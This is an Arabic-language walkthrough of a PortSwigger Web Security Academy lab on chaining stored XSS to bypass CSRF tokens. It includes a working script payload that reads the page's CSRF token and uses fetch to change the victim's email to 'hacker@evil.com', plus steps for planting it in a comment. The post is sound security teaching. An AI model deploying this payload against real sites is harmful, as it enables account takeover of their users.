لاب رقم (23) | Exploiting XSS to bypass CSRF defenses

تعلم كيفية دمج ثغرات XSS و CSRF لتخطي دفاعات المواقع. شرح عملي لاستخراج الـ CSRF Tokens باستخدام JavaScript وتنفيذ هجمات تغيير البيانات في لابات PortS

تخطي حماية CSRF عبر XSS: عندما يكسر الهاكر القواعد من الداخل! 🛡️🔨

Exploiting XSS to bypass CSRF defenses

مرحباً بصيادي الثغرات المحترفين! اليوم سنتعلم كيف نجعل ثغرة XSS تعمل كـ "مفتاح رئيسي". سنقوم باستغلال الـ XSS ليس لسرقة البيانات فحسب، بل لتنفيذ عمليات حساسة (مثل تغيير البريد الإلكتروني) وتخطي نظام حماية CSRF Tokens بالكامل.

لاب اليوم من PortSwigger هو:
Exploiting XSS to bypass CSRF defenses

اليوم سنتعلم كيف نكتب سكريبت JavaScript حديث يستخدم fetch لسرقة الرمز السري ثم ينفذ الطلب بمجرد جاهزية الصفحة. لنبدأ! 🚀


🔍 لماذا نحتاج للـ XSS لتخطي الـ CSRF؟

ثغرة الـ CSRF التقليدية تفشل إذا كان الموقع يطلب "Token" سرياً. الهاكر لا يستطيع تخمين هذا الرمز. لكن، بما أن الـ XSS يمنحنا القدرة على تنفيذ كود داخل المتصفح، فيمكننا ببساطة قراءة الرمز من الـ DOM ثم إرساله مع طلبنا الخبيث.


🧠 خطة الهجوم الحديثة (The Fetch Strategy)

سكريبت الـ XSS الخاص بنا سيقوم بالآتي:

  1. الانتظار: ننتظر تحميل الصفحة بالكامل باستخدام DOMContentLoaded لضمان وجود الـ Token في الكود.
  2. الاستخراج: الوصول لعنصر الـ input الذي يحمل اسم csrf وسحب قيمته.
  3. التنفيذ: استخدام دالة fetch لإرسال طلب POST لتغيير البريد الإلكتروني مع إرفاق الرمز المسروق.

🛠️ الـ Payload القاتل (The Modern Payload)

ضع هذا الكود في قسم التعليقات (المصاب بـ XSS):

<script>
  window.addEventListener('DOMContentLoaded', function() {
    // 1. استخراج الـ CSRF Token من حقل الإدخال المخفي في الصفحة
    var token = document.getElementsByName('csrf')[0].value;
    
    // 2. إرسال طلب POST لتغيير الإيميل فوراً
    fetch('/my-account/change-email',{
      method: 'POST',
      mode: 'no-cors',
      body: 'email=hacker@evil.com&csrf='+token,
    })
  })
</script>

📝 خطوات الحل العملية

  1. اذهب لصفحة التعليقات في اللاب.
  2. ضع الـ Payload الحديث أعلاه في خانة التعليق.
  3. اضغط Post Comment.
  4. بمجرد أن يقوم الـ Admin (أو أي مستخدم) بفتح الصفحة، سيقوم متصفحه بتنفيذ السكريبت، وسينجح الـ fetch في تجاوز حماية الـ CSRF لأن الطلب خرج من "داخل" الموقع الموثوق.

💡 نصيحة صياد (The Modern Web Note)

  • لماذا fetch؟ دالة fetch أسهل في الكتابة وأكثر توافقاً مع المتصفحات الحديثة مقارنة بـ XMLHttpRequest القديمة.
  • الـ DOMContentLoaded: هذه الإضافة مهمة جداً؛ لأن السكريبت قد يفشل إذا حاول قراءة الـ Token قبل أن ينتهي المتصفح من رسم عناصر الصفحة.
  • الخطورة: هذا الهجوم يحول الـ XSS إلى ثغرة Account Takeover كاملة.

🚀 الخاتمة

بهذا اللاب، نكون قد ختمنا رحلة استكشاف الـ XSS باحترافية. لقد تعلمت أن البرمجة الجيدة (JavaScript) هي أقوى سلاح في يد باحث الثغرات لتخطي أعقد الدفاعات الأمنية.

إرسال تعليق